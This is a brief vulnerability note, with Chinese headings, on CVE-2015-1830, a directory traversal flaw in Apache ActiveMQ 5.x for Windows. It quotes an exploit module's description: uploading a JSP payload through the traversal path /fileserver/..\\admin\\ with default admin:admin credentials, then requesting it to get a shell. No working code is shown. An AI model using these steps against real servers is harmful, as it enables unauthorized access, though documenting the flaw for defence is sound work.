一、漏洞简介
------------

Windows 5.11.2之前的Apache ActiveMQ
5.x中blob消息的文件服务器上载/下载功能中的目录遍历漏洞允许远程攻击者通过未指定的向量在任意目录中创建JSP文件。

二、漏洞影响
------------

            This module exploits a directory traversal vulnerability (CVE-2015-1830) in Apache
            ActiveMQ 5.x before 5.11.2 for Windows.

            The module tries to upload a JSP payload to the /admin directory via the traversal
            path /fileserver/..\\admin\\ using an HTTP PUT request with the default ActiveMQ
            credentials admin:admin (or other credentials provided by the user). It then issues
            an HTTP GET request to /admin/<payload>.jsp on the target in order to trigger the
            payload and obtain a shell.
